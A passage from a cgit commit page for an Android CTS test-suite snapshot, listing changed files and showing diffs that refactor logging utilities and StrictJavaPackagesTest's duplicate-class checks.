summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-02-03 20:00:02 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-02-03 20:00:02 +0000
commitdaed39aca704ac7308be2073077da364e5c2943c (patch)
treea17efc64eb56c52eaf36532a25adcee88f79f116
parent84e923092ff3d2be9f1349bc94408194be5451c7 (diff)
parente24f1acfa4aa74e1de3211292988a1e5a5ed6db0 (diff)
downloadcts-android12-mainline-neuralnetworks-release.tar.gz
Snap for 8146243 from e24f1acfa4aa74e1de3211292988a1e5a5ed6db0 to mainline-neuralnetworks-releaseandroid-mainline-12.0.0_r92android12-mainline-neuralnetworks-release
Change-Id: I4f8be94d0aff7f715647977964ae7418a7836d2f
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java7
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java47
-rw-r--r--hostsidetests/appcompat/strictjavapackages/Android.bp2
-rw-r--r--hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java256
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java2
-rw-r--r--hostsidetests/appsecurity/test-apps/SplitApp/Android.bp30
-rw-r--r--hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml3
-rw-r--r--hostsidetests/scopedstorage/Android.bp22
-rw-r--r--hostsidetests/scopedstorage/AndroidTest.xml6
-rw-r--r--hostsidetests/scopedstorage/CoreTest.xml6
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java6
-rw-r--r--hostsidetests/scopedstorage/device/AndroidTest.xml5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java108
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java63
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java20
-rw-r--r--hostsidetests/scopedstorage/legacy/AndroidManifest.xml1
-rw-r--r--hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java134
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java118
-rw-r--r--hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java40
-rw-r--r--hostsidetests/securitybulletin/Android.bp3
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0034.ivfbin0 -> 100 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_39664bin0 -> 1199 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp41
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp71
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp51
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp)35
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp175
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp42
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp109
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp23
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp126
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp126
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp126
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp126
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp47
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp40
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp6
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp111
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h85
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp1236
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp65
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp22
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java (renamed from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java)14
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java26
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java27
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java27
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java26
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java2
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java91
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java43
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java12
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java (renamed from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java)26
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java17
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp13
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml12
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java107
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java46
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml45
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java100
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java253
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java62
-rw-r--r--tests/MediaProviderTranscode/Android.bp4
-rw-r--r--tests/MediaProviderTranscode/AndroidTest.xml5
-rw-r--r--tests/PhotoPicker/Android.bp9
-rw-r--r--tests/PhotoPicker/AndroidTest.xml3
-rw-r--r--tests/PhotoPicker/TEST_MAPPING7
-rw-r--r--tests/PhotoPicker/res/raw/test_video.mp4bin0 -> 135632 bytes
-rw-r--r--tests/PhotoPicker/res/raw/test_video_dng.mp4 (renamed from tests/PhotoPicker/res/raw/testvideo_meta.mp4)bin20716 -> 20716 bytes
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java23
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java3
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java203
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java134
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java17
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java5
-rw-r--r--tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java25
-rw-r--r--tests/app/src/android/app/cts/DownloadManagerTest.java25
-rw-r--r--tests/app/src/android/app/cts/NotificationManagerTest.java26
-rw-r--r--tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java1
-rw-r--r--tests/media/src/android/mediav2/cts/CodecEncoderTest.java6
-rw-r--r--tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java4
-rw-r--r--tests/net/Android.bp24
-rw-r--r--tests/net/OWNERS3
-rw-r--r--tests/net/TEST_MAPPING7
-rw-r--r--tests/net/src/android/net/cts/LocalSocketTest.java471
-rw-r--r--tests/providerui/AndroidManifest.xml4
-rw-r--r--tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java180
-rw-r--r--tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java24
-rw-r--r--tests/tests/appop/Android.bp2
-rw-r--r--tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt (renamed from tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt)55
-rw-r--r--tests/tests/libcoreapievolution/Android.bp2
-rw-r--r--tests/tests/libcorefileio/Android.bp2
-rw-r--r--tests/tests/libcorelegacy22/Android.bp2
-rw-r--r--tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java2
-rw-r--r--tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java37
-rw-r--r--tests/tests/mediatranscoding/OWNERS6
-rw-r--r--tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4bin0 -> 107797 bytes
-rw-r--r--tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4bin0 -> 258924 bytes
-rw-r--r--tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java53
-rw-r--r--tests/tests/os/src/android/os/cts/StrictModeTest.java58
-rw-r--r--tests/tests/permission2/res/raw/android_manifest.xml4
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt4
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt14
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt31
-rw-r--r--tests/tests/security/Android.bp10
-rw-r--r--tests/tests/security/AndroidManifest.xml5
-rw-r--r--tests/tests/security/AndroidTest.xml9
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBitmapService.aidl25
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapService.java50
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapTest.java170
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapWrapper.java125
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0922.java70
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0934.java57
-rw-r--r--tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt153
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java15
-rw-r--r--tests/tests/security/testdata/rolepermissionoverridetestapp.xml26
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java71
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml3
135 files changed, 4856 insertions, 2408 deletions
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
index b0ec2e985bc..27d86b51a28 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -18,6 +18,8 @@ package com.android.compatibility.common.util;
import static org.junit.Assert.assertTrue;
+import android.util.Log;
+
import org.junit.Before;
import java.util.List;
@@ -35,7 +37,7 @@ import java.util.List;
* Now Business Logics rules and actions can be called from the GCL by using the interface fully
* qualified name.
*/
-public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase {
private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
@@ -52,7 +54,8 @@ public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase i
"Test \"%s\" is unable to execute as it depends on the missing remote "
+ "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
} else if (!mCanReadBusinessLogic) {
- logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+ Log.i(LOG_TAG, String.format(
+ "Skipping Business Logic for %s", mTestCase.getMethodName()));
return;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
deleted file mode 100644
index dbe5128b7b1..00000000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-import com.android.compatibility.common.util.MultiLog;
-
-/** Implement the deviceside interface for logging on host+device-common code. */
-public interface MultiLogDevice extends MultiLog {
- /** {@inheritDoc} */
- @Override
- default void logInfo(String logTag, String format, Object... args) {
- Log.i(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logDebug(String logTag, String format, Object... args) {
- Log.d(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logWarn(String logTag, String format, Object... args) {
- Log.w(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logError(String logTag, String format, Object... args) {
- Log.e(logTag, String.format(format, args));
- }
-}
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index fcb20e829cd..9ab8a832ca3 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -33,6 +33,6 @@ java_test_host {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-mainline-infra",
],
}
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index ca23a714cbd..5ac8f32f498 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -26,7 +26,7 @@ import static org.junit.Assume.assumeTrue;
import android.compat.testing.Classpaths;
import android.compat.testing.SharedLibraryInfo;
-import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -35,15 +35,20 @@ import com.google.common.collect.HashMultimap;
import com.google.common.collect.ImmutableCollection;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.ImmutableSetMultimap;
import com.google.common.collect.Multimap;
import com.google.common.collect.Multimaps;
+import org.jf.dexlib2.iface.ClassDef;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.IOException;
import java.util.Collection;
import java.util.Set;
+import java.util.stream.Stream;
+
/**
* Tests for detecting no duplicate class files are present on BOOTCLASSPATH and
@@ -55,6 +60,17 @@ import java.util.Set;
@RunWith(DeviceJUnit4ClassRunner.class)
public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
+ private static final String ANDROID_TEST_MOCK_JAR = "/system/framework/android.test.mock.jar";
+
+ private static final Object sLock = new Object();
+ private static ImmutableList<String> sBootclasspathJars;
+ private static ImmutableList<String> sSystemserverclasspathJars;
+ private static ImmutableList<String> sSharedLibJars;
+ private static ImmutableList<SharedLibraryInfo> sSharedLibs;
+ private static ImmutableSetMultimap<String, String> sJarsToClasses;
+
+ private DeviceSdkLevel mDeviceSdkLevel;
+
/**
* This is the list of classes that are currently duplicated and should be addressed.
*
@@ -192,6 +208,28 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Lcom/android/internal/util/FrameworkStatsLog;"
);
+ private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+ private static final Set<String> WEAR_HIDL_OVERLAP_BURNDOWN_LIST =
+ ImmutableSet.of(
+ "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+ "Landroid/hidl/base/V1_0/IBase;",
+ "Landroid/hidl/base/V1_0/IBase$Proxy;",
+ "Landroid/hidl/base/V1_0/IBase$Stub;",
+ "Landroid/hidl/base/V1_0/DebugInfo;",
+ "Landroid/hidl/safe_union/V1_0/Monostate;"
+ );
+
+ private static final Set<String> AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST =
+ ImmutableSet.of(
+ "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+ "Landroid/hidl/base/V1_0/IBase;",
+ "Landroid/hidl/base/V1_0/IBase$Proxy;",
+ "Landroid/hidl/base/V1_0/IBase$Stub;",
+ "Landroid/hidl/base/V1_0/DebugInfo;"
+ );
+
/**
* TODO(b/199529199): Address these.
* List of duplicate classes between bootclasspath and shared libraries.
@@ -199,7 +237,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* <p> DO NOT ADD CLASSES TO THIS LIST!
*/
private static final Set<String> BCP_AND_SHARED_LIB_BURNDOWN_LIST =
- ImmutableSet.of(
+ ImmutableSet.of(
"Landroid/hidl/base/V1_0/DebugInfo;",
"Landroid/hidl/base/V1_0/IBase;",
"Landroid/hidl/manager/V1_0/IServiceManager;",
@@ -245,6 +283,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Lcom/qualcomm/qcrilmsgtunnel/IQcrilMsgTunnel;",
"Lcom/qualcomm/utils/CommandException;",
"Lcom/qualcomm/utils/RILConstants;",
+ "Lorg/codeaurora/telephony/utils/CommandException;",
+ "Lorg/codeaurora/telephony/utils/Log;",
+ "Lorg/codeaurora/telephony/utils/RILConstants;",
"Lorg/chromium/net/ApiVersion;",
"Lorg/chromium/net/BidirectionalStream;",
"Lorg/chromium/net/CallbackException;",
@@ -269,16 +310,70 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Lorg/chromium/net/UploadDataSink;",
"Lorg/chromium/net/UrlRequest;",
"Lorg/chromium/net/UrlResponseInfo;"
- );
+ );
+
+ /**
+ * Fetch all jar files in BCP, SSCP and shared libs and extract all the classes.
+ *
+ * <p>This method cannot be static, as there are no static equivalents for {@link #getDevice()}
+ * and {@link #getBuild()}.
+ */
+ @Before
+ public void setupOnce() throws IOException, DeviceNotAvailableException {
+ if (getDevice() == null || getBuild() == null) {
+ throw new RuntimeException("No device and/or build type specified!");
+ }
+ mDeviceSdkLevel = new DeviceSdkLevel(getDevice());
+
+ synchronized (sLock) {
+ if (sJarsToClasses != null) {
+ return;
+ }
+ sBootclasspathJars = Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
+ sSystemserverclasspathJars =
+ Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
+ sSharedLibs = mDeviceSdkLevel.isDeviceAtLeastS()
+ ? Classpaths.getSharedLibraryInfos(getDevice(), getBuild())
+ : ImmutableList.of();
+ sSharedLibJars = sSharedLibs.stream()
+ .map(sharedLibraryInfo -> sharedLibraryInfo.paths)
+ .flatMap(ImmutableCollection::stream)
+ .filter(this::doesFileExist)
+ .collect(ImmutableList.toImmutableList());
+
+ final ImmutableSetMultimap.Builder<String, String> jarsToClasses =
+ ImmutableSetMultimap.builder();
+ Stream.of(sBootclasspathJars.stream(),
+ sSystemserverclasspathJars.stream(),
+ sSharedLibJars.stream())
+ .reduce(Stream::concat).orElseGet(Stream::empty)
+ .parallel()
+ .forEach(jar -> {
+ try {
+ ImmutableSet<String> classes =
+ Classpaths.getClassDefsFromJar(getDevice(), jar).stream()
+ .map(ClassDef::getType)
+ // Inner classes always go with their parent.
+ .filter(className -> !className.contains("$"))
+ .collect(ImmutableSet.toImmutableSet());
+ synchronized (jarsToClasses) {
+ jarsToClasses.putAll(jar, classes);
+ }
+ } catch (DeviceNotAvailableException | IOException e) {
+ throw new RuntimeException(e);
+ }
+ });
+ sJarsToClasses = jarsToClasses.build();
+ }
+ }
+
/**
* Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
*/
@Test
public void testBootclasspath_nonDuplicateClasses() throws Exception {
- assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
- ImmutableList<String> jars =
- Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
- assertThat(getDuplicateClasses(jars)).isEmpty();
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+ assertThat(getDuplicateClasses(sBootclasspathJars)).isEmpty();
}
/**
@@ -286,10 +381,20 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*/
@Test
public void testSystemServerClasspath_nonDuplicateClasses() throws Exception {
- assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
- ImmutableList<String> jars =
- Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
- assertThat(getDuplicateClasses(jars)).isEmpty();
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+ ImmutableSet<String> overlapBurndownList;
+ if (hasFeature(FEATURE_AUTOMOTIVE)) {
+ overlapBurndownList = ImmutableSet.copyOf(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST);
+ } else if (hasFeature(FEATURE_WEARABLE)) {
+ overlapBurndownList = ImmutableSet.copyOf(WEAR_HIDL_OVERLAP_BURNDOWN_LIST);
+ } else {
+ overlapBurndownList = ImmutableSet.of();
+ }
+ Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars);
+ Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
+ duplicate -> !overlapBurndownList.contains(duplicate));
+
+ assertThat(filtered).isEmpty();
}
/**
@@ -298,14 +403,25 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*/
@Test
public void testBootClasspathAndSystemServerClasspath_nonDuplicateClasses() throws Exception {
- assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
ImmutableList.Builder<String> jars = ImmutableList.builder();
- jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
- jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH));
-
+ jars.addAll(sBootclasspathJars);
+ jars.addAll(sSystemserverclasspathJars);
+ ImmutableSet<String> overlapBurndownList;
+ if (hasFeature(FEATURE_AUTOMOTIVE)) {
+ overlapBurndownList = ImmutableSet.<String>builder()
+ .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+ .addAll(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST).build();
+ } else if (hasFeature(FEATURE_WEARABLE)) {
+ overlapBurndownList = ImmutableSet.<String>builder()
+ .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+ .addAll(WEAR_HIDL_OVERLAP_BURNDOWN_LIST).build();
+ } else {
+ overlapBurndownList = ImmutableSet.copyOf(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
+ }
Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
- duplicate -> !BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST.contains(duplicate));
+ duplicate -> !overlapBurndownList.contains(duplicate));
assertThat(filtered).isEmpty();
}
@@ -315,13 +431,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*/
@Test
public void testBootClasspath_nonDuplicateApexJarClasses() throws Exception {
- ImmutableList<String> jars =
- Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
-
- Multimap<String, String> duplicates = getDuplicateClasses(jars);
+ Multimap<String, String> duplicates = getDuplicateClasses(sBootclasspathJars);
Multimap<String, String> filtered =
Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/"));
-
assertThat(filtered).isEmpty();
}
@@ -330,10 +442,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*/
@Test
public void testSystemServerClasspath_nonDuplicateApexJarClasses() throws Exception {
- ImmutableList<String> jars =
- Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
-
- Multimap<String, String> duplicates = getDuplicateClasses(jars);
+ Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars);
Multimap<String, String> filtered =
Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/"));
@@ -348,8 +457,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
public void testBootClasspathAndSystemServerClasspath_nonApexDuplicateClasses()
throws Exception {
ImmutableList.Builder<String> jars = ImmutableList.builder();
- jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
- jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH));
+ jars.addAll(sBootclasspathJars);
+ jars.addAll(sSystemserverclasspathJars);
Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
@@ -365,22 +474,40 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
*/
@Test
public void testBootClasspathAndSharedLibs_nonDuplicateClasses() throws Exception {
- assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastS());
final ImmutableList.Builder<String> jars = ImmutableList.builder();
- final ImmutableList<SharedLibraryInfo> sharedLibs =
- Classpaths.getSharedLibraryInfos(getDevice(), getBuild());
- jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
- jars.addAll(sharedLibs.stream()
- .map(sharedLibraryInfo -> sharedLibraryInfo.paths)
- .flatMap(ImmutableCollection::stream)
- .filter(this::doesFileExist)
- .collect(ImmutableList.toImmutableList())
- );
+ jars.addAll(sBootclasspathJars);
+ jars.addAll(sSharedLibJars);
final Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
final Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
- duplicate -> !BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(duplicate)
- && !isSameLibrary(duplicates.get(duplicate), sharedLibs)
- );
+ dupeClass -> {
+ try {
+ final Collection<String> dupeJars = duplicates.get(dupeClass);
+ // Duplicate is already known.
+ if (BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(dupeClass)) {
+ return false;
+ }
+ // Duplicate is only between different versions of the same shared library.
+ if (isSameLibrary(dupeJars)) {
+ return false;
+ }
+ // Pre-T, the Android test mock library included some platform classes.
+ if (!mDeviceSdkLevel.isDeviceAtLeastT()
+ && dupeJars.contains(ANDROID_TEST_MOCK_JAR)) {
+ return false;
+ }
+ // Different versions of the same library may have different names, and
+ // there's
+ // no reliable way to dedupe them. Ignore duplicates if they do not
+ // include apex jars.
+ if (dupeJars.stream().noneMatch(lib -> lib.startsWith("/apex/"))) {
+ return false;
+ }
